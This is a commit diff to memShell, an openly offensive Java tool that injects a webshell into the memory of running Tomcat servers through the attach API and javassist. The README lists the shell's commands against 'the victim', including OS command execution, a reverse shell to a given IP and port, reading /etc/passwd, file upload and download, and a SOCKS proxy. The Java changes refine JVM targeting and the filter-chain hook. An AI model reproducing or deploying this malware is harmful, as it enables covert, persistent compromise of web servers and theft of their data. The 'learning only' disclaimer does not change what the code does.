modify README.me

README.md

@@ -1,16 +1,22 @@
 # memShell
 a webshell resides in the memory of java web server
 
-# Usage
-* anyurl?pwd=pass //show this help page.  
-* anyurl?pwd=pass&model=exec&cmd=whoami  //run os command.  
-* anyurl?pwd=pass&model=connectback&ip=8.8.8.8&port=51 //reverse a shell back to 8.8.8.8 on port 51.  
-* anyurl?pwd=pass&model=urldownload&url=http://xxx.com/test.pdf&path=/tmp/test.pdf //download a remote file via the victim's network directly.  
-* anyurl?pwd=pass&model=list[del|show]&path=/etc/passwd  //list,delete,show the specified path or file.  
-* anyurl?pwd=pass&model=download&path=/etc/passwd  //download the specified file on the victim's disk.  
-* anyurl?pwd=pass&model=upload&path=/tmp/a.elf&content=this_is_content[&type=b]   //upload a text file or a base64 encoded binary file to the victim's disk.  
-* anyurl?pwd=pass&model=proxy  //start a socks proxy server on the victim.  
-* anyurl?pwd=pass&model=chopper  //start a chopper server agent on the victim.  
+# install
+* unzip memShell.zip
+* cd memShell
+* java -jar inject.jar
+# usage
+* anyurl?pass_the_world=pass //show this help page.  
+* anyurl?pass_the_world=pass&model=exec&cmd=whoami  //run os command.  
+* anyurl?pass_the_world=pass&model=connectback&ip=8.8.8.8&port=51 //reverse a shell back to 8.8.8.8 on port 51.  
+* anyurl?pass_the_world=pass&model=urldownload&url=http://xxx.com/test.pdf&path=/tmp/test.pdf //download a remote file via the victim's network directly.  
+* anyurl?pass_the_world=pass&model=list[del|show]&path=/etc/passwd  //list,delete,show the specified path or file.  
+* anyurl?pass_the_world=pass&model=download&path=/etc/passwd  //download the specified file on the victim's disk.  
+* anyurl?pass_the_world=pass&model=upload&path=/tmp/a.elf&content=this_is_content[&type=b]   //upload a text file or a base64 encoded binary file to the victim's disk.  
+* anyurl?pass_the_world=pass&model=proxy  //start a socks proxy server on the victim.  
+* anyurl?pass_the_world=pass&model=chopper  //start a chopper server agent on the victim.  
+
+**!!!It is recommended to use the POST method to submit data.** 
 
 # note
 For learning exchanges only, do not use for illegal purposes.by rebeyond.

src/net/rebeyond/memshell/Agent.java

@@ -170,7 +170,7 @@ public class Agent {
 						try {
 							unlockFile(currentPath);
 						} catch (Exception e) {
-							//pass
+							e.printStackTrace();
 						}
 					}
 					new File(agentFile).delete();
@@ -211,17 +211,24 @@ public class Agent {
 	}
 
 	public static void initLoad() throws Exception {
-		MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer();
-		Set<ObjectName> objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"),
-				Query.match(Query.attr("protocol"), Query.value("HTTP/1.1")));
-		String host = InetAddress.getLocalHost().getHostAddress();
-		String port = objectNames.iterator().next().getKeyProperty("port");
-		String url = "http" + "://" + host + ":" + port;
-		String[] models = new String[] { "model=exec&cmd=whoami", "model=proxy", "model=chopper", "model=list&path=.",
-				"model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist" };
-		for (String model : models) {
-			String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model;
-			openUrl(address);
+		try {
+			MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer();
+			Set<ObjectName> objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"),
+					Query.match(Query.attr("protocol"), Query.value("HTTP/1.1")));
+			//String host = InetAddress.getLocalHost().getHostAddress();
+			String host = "127.0.0.1";
+			String port = objectNames.iterator().next().getKeyProperty("port");
+			String url = "http" + "://" + host + ":" + port;
+			String[] models = new String[] { "model=exec&cmd=whoami", "model=proxy", "model=chopper", "model=list&path=.",
+					"model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist" };
+			for (String model : models) {
+				String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model;
+				openUrl(address);
+			}
+		}
+		catch(Exception e)
+		{
+			//pass
 		}
 	}
 
@@ -234,7 +241,7 @@ public class Agent {
 		StringBuffer bs = new StringBuffer();
 		String l = null;
 		while ((l = buffer.readLine()) != null) {
-			bs.append(l).append("/n");
+			bs.append(l).append("\n");
 		}
 	}
-}
+}

src/net/rebeyond/memshell/Attach.java

@@ -1,6 +1,10 @@
 package net.rebeyond.memshell;
+
 import java.io.File;
+import java.util.Iterator;
 import java.util.List;
+import java.util.Map.Entry;
+import java.util.Properties;
 
 import com.sun.tools.attach.VirtualMachine;
 import com.sun.tools.attach.VirtualMachineDescriptor;
@@ -9,38 +13,38 @@ public class Attach {
 
 	public static void main(String[] args) throws Exception {
 
-		if (args.length!=1)
-		{
+		if (args.length != 1) {
 			System.out.println("Usage:java -jar inject.jar password");
 			return;
 		}
 		VirtualMachine vm = null;
-		List<VirtualMachineDescriptor> listAfter = null;
-		List<VirtualMachineDescriptor> listBefore = null;
-		listBefore = VirtualMachine.list();
-		String password=args[0];
+		List<VirtualMachineDescriptor> vmList = null;
+		String password = args[0];
 		String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();
-		currentPath=currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
+		currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
 		String agentFile = currentPath + "agent.jar";
 		agentFile = new File(agentFile).getCanonicalPath();
-		String agentArgs=currentPath;
-		if (!password.equals("")||password!=null)
-		{
-			agentArgs=agentArgs+"^"+password;
+		String agentArgs = currentPath;
+		if (!password.equals("") || password != null) {
+			agentArgs = agentArgs + "^" + password;
 		}
-		
+
 		while (true) {
 			try {
-				listAfter = VirtualMachine.list();
-				if (listAfter.size() <= 0)
+				vmList = VirtualMachine.list();
+				if (vmList.size() <= 0)
 					continue;
-				for (VirtualMachineDescriptor vmd : listAfter) {
-					if (!listBefore.contains(vmd)) {
+				for (VirtualMachineDescriptor vmd : vmList) {
+					if (vmd.displayName().indexOf("catalina") >= 0||vmd.displayName().equals("")) {
 						vm = VirtualMachine.attach(vmd);
-						listBefore.add(vmd);
+						
+						//ADD for tomcat windows service,dispayname is blank string and has key "catalina.home".
+						if (vmd.displayName().equals("")&&vm.getSystemProperties().containsKey("catalina.home")==false)
+							continue;
+						
 						System.out.println("[+]OK.i find a jvm.");
 						Thread.sleep(1000);
-						if (null != vm) {							
+						if (null != vm) {
 							vm.loadAgent(agentFile, agentArgs);
 							System.out.println("[+]memeShell is injected.");
 							vm.detach();
@@ -48,12 +52,10 @@ public class Attach {
 						}
 					}
 				}
-				Thread.sleep(5000);
-				
+				Thread.sleep(3000);
 			} catch (Exception e) {
 				e.printStackTrace();
 			}
 		}
-
 	}
 }

src/net/rebeyond/memshell/Transformer.java

@@ -8,6 +8,7 @@ import java.lang.instrument.ClassFileTransformer;
 import java.lang.instrument.IllegalClassFormatException;
 import java.security.ProtectionDomain;
 
+import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtMethod;
@@ -19,8 +20,9 @@ public class Transformer implements ClassFileTransformer{
 
         if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) {
             try {
-            	Class a=Class.forName("javassist.CtClass");
                 ClassPool cp = ClassPool.getDefault();
+                ClassClassPath classPath = new ClassClassPath(aClass);  //get current class's classpath
+                cp.insertClassPath(classPath);  //add the classpath to classpool
                 CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");
                 CtMethod m = cc.getDeclaredMethod("internalDoFilter");
                 m.addLocalVariable("elapsedTime", CtClass.longType);
@@ -29,6 +31,7 @@ public class Transformer implements ClassFileTransformer{
                 cc.detach();
                 return byteCode;
             } catch (Exception ex) {
+            	ex.printStackTrace();
                 System.out.println("error:::::"+ex.getMessage());
             }
         }